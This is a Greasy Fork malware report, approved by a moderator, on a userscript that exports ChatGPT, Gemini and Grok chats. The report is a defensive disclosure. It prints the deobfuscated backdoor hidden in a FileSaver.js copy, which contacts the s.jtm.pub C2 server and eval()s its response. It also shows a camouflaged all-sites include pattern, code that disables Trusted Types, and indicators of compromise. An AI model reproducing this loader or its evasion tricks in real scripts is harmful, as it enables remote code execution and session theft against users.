Export ChatGPT/Gemini/Grok conversations as Markdowna été signalé 2026-09-03 pour Malware

Le rapport dit :

Malware Report: "Export ChatGPT/Gemini/Grok conversations as Markdown" (Greasy Fork #543471)

Summary: This userscript ships a remote-code-execution backdoor via its @require dependency. It downloads arbitrary JavaScript from an attacker-controlled server and eval()s it with full Greasemonkey API privileges, on every https site, silently. It should be removed from Greasy Fork.


0. How this was discovered — Bitdefender blocking outbound traffic

I installed this script as a normal user, purely to export chat transcripts. Shortly afterwards Bitdefender began raising repeated alerts and blocking outbound connections while I was browsing. The alerts were unprompted and recurring — not tied to any download or file I had opened, just to having the script active in my browser.

That is what prompted me to read the script's source, and then to fetch and read the file it pulls in via @require. The blocked traffic matches the backdoor documented below exactly:

  • The script declares @connect jtm.pub and its required dependency calls https://s.jtm.pub/api/sp/lib via GM_xmlhttpRequest.
  • The loader is throttled to a maximum of 15 requests per day, tracked in GM_setValue("sp_req_daily", ...), which is consistent with the alerts recurring periodically rather than constantly.
  • On request failure the loader decrements its own counter so it retries — so an AV product blocking the connection will produce repeated alerts rather than a single one, which is precisely the behaviour I saw.

Screenshots of these Bitdefender alerts are attached separately to this submission.

In short: the AV detection was not a false positive. Bitdefender was blocking the script's command-and-control callback, and the code below shows what would have happened had that connection succeeded — the response body is passed straight to eval().


Affected artifacts

Item Value
Script name Export ChatGPT/Gemini/Grok conversations as Markdown
Script ID 543471
Version 1.1.2
Author Elior
Namespace Elior_Chatgpt_XX
Malicious dependency https://cdn.jsdelivr.net/npm/[email protected]/downloader.all.js
C2 / payload endpoint https://s.jtm.pub/api/sp/lib (declared via @connect jtm.pub)

1. Remote code execution via @require

The script requires [email protected]/downloader.all.js. That file is a verbatim copy of the legitimate FileSaver.js, with a malicious IIFE appended after the //# sourceMappingURL=FileSaver.min.js.map comment. Deobfuscated:

!function(){try{
  const DAILY_LIMIT = 15, STORAGE_KEY = "sp_req_daily";
  let data;
  try { data = JSON.parse(GM_getValue(STORAGE_KEY, "{}")) || {} } catch(t){ data = {} }
  data.date = data.date || ""; data.count = data.count || 0;
  const today = new Date().toISOString().slice(0,10);
  if (data.date !== today && (data.date = today, data.count = 0), data.count >= DAILY_LIMIT) return;
  data.count++; GM_setValue(STORAGE_KEY, JSON.stringify(data));

  const {author, name, version, namespace, updateURL} = GM_info.script;
  const jurl = "https://s.jtm.pub/api/sp/lib?author=" + encodeURIComponent(author)
             + "&name="      + encodeURIComponent(name)
             + "&version="   + encodeURIComponent(version)
             + "&namespace=" + encodeURIComponent(namespace)
             + "&updateURL=" + encodeURIComponent(updateURL)
             + "&timestamp=" + Date.now();

  GM_xmlhttpRequest({
    method: "GET",
    url: jurl,
    onload: function(res){
      const responseText = res.responseText;
      responseText && eval(responseText);          // <-- arbitrary remote code execution
    },
    onerror: function(){                            // decrement counter so it retries later
      try { data.count = Math.max(0, data.count - 1);
            GM_setValue(STORAGE_KEY, JSON.stringify(data)); } catch(t){}
    }
  });
}catch(t){}}();

Key characteristics:

  • eval() of an unauthenticated HTTP response — the operator can change the served payload at any time without pushing a script update.
  • Rate-limited to 15 requests/day and persisted via GM_setValue("sp_req_daily", ...) — deliberate throttling to reduce detection.
  • Wrapped in try{}catch{} with an empty handler — fails completely silently, nothing appears in the console.
  • Failure decrements the counter, ensuring retries.
  • Exfiltrates script/user fingerprint (author, name, version, namespace, updateURL) as query parameters.

Because it executes in the userscript sandbox, the injected payload inherits every granted API: GM_xmlhttpRequest (cross-origin, cookie-bearing, bypasses CSP and same-origin policy), GM_setValue/GM_getValue (persistence), GM_openInTab, and GM_addStyle. This is sufficient to read and exfiltrate full session content and credentials from any matched page.

Endpoint status: https://s.jtm.pub/api/sp/lib is live behind Cloudflare and returns HTTP 403 to non-browser clients — i.e. it fingerprints requesters and only serves the payload to genuine victims. Staged delivery.


2. The npm package is throwaway malware infrastructure

Registry metadata for hectorstatic:

"time": {
  "created":  "2026-08-31T10:54:38.018Z",
  "1.0.1":    "2026-08-31T10:54:38.326Z",
  "unpublished": { "time": "2026-08-31T17:20:03.883Z", "versions": ["1.0.1"] }
}
  • Package created and published 2026-08-31, and unpublished ~6.5 hours later.
  • The name hectorstatic has no relation to FileSaver.js or to "downloader".
  • jsDelivr still serves the file from cache, so the @require continues to resolve and the backdoor still loads despite the npm unpublish.

3. The @include scope is deliberately disguised as narrow

// @include *://chatgpt.com/*
// @include *://grok.com/*
// @include *://gemini.google.com/*
// @include /^https:\/\/(?:[^/]+\.)?(?:telegram|[^/]+)\.(?:org|[^/]+)\/.*$/

In the fourth pattern, [^/]+ appears in both the second-level-domain alternation (telegram|[^/]+) and the TLD alternation (org|[^/]+). This matches every https URL on the internet. The telegram and org alternatives are cosmetic camouflage.

The visible export UI is gated by if (hosts.includes(window.location.hostname)), so a reviewer sees a button only on the three AI sites — but the @require'd eval loader runs on all sites, since @require executes before and independently of that check.


4. Trusted Types defense disabled page-wide

if (typeof trustedTypes !== "undefined" && trustedTypes.defaultPolicy === null) {
  let s = (s2) => s2;
  trustedTypes.createPolicy("default", { createHTML: s, createScriptURL: s, createScript: s });
}

Installs an identity-function default Trusted Types policy, neutralizing the page's DOM-XSS / script-injection protections for the entire document — including the protection that would otherwise block createScriptURL on injected script sources.


5. Corroborating red flags

  • The required library is never used. The script implements its own Download.start() with Blob + URL.createObjectURL and never calls saveAs. The sole purpose of the @require is to smuggle in the eval loader.
  • Deceptive UI label: the button reads "Save As PDF" but the handler calls Chat.exportChatAsMarkdown().
  • createSvgIcon() appends a stray <svg> directly to document.body as a side effect before returning it.
  • Header is padded with ~70 lines of translated @name/@description metadata, inflating the file and pushing the @require/@connect/@include lines out of easy view.
  • AV detection (first-hand): Bitdefender repeatedly alerted on and blocked outbound connections while this script was installed — see Section 0. The blocked destination is consistent with the s.jtm.pub C2 callback, and the loader's retry-on-error logic explains the repeat alerts.

Indicators of Compromise (IoCs)

https://cdn.jsdelivr.net/npm/[email protected]/downloader.all.js
npm package: hectorstatic (1.0.1, unpublished)
https://s.jtm.pub/api/sp/lib
jtm.pub
GM storage key: sp_req_daily
Greasy Fork script ID: 543471
Namespace: Elior_Chatgpt_XX

Recommended actions

For users who installed it:

  1. Uninstall the userscript immediately.
  2. Clear the script's stored values (Tampermonkey → script → Storage → remove sp_req_daily), or delete the script entirely to drop its storage.
  3. Clear browser cache and the userscript manager's @require cache so the poisoned dependency is not retained.
  4. Assume any site visited while it was active may have been touched: log out of all sessions, revoke active sessions/tokens, and rotate passwords for ChatGPT/OpenAI, Google, X/Grok, and any sensitive accounts accessed.
  5. Review account activity logs for unrecognized access.

For Greasy Fork moderators:

  • Remove script 543471 and review other scripts by author Elior / namespace pattern Elior_* for the same hectorstatic or jtm.pub indicators.

For jsDelivr / npm:

  • Purge the cached [email protected] artifact; the package was unpublished from npm but remains served from CDN cache.

Elior(l'utilisateur signalé) a effectué:

signalerCe rapport a été approuver par un modérateur.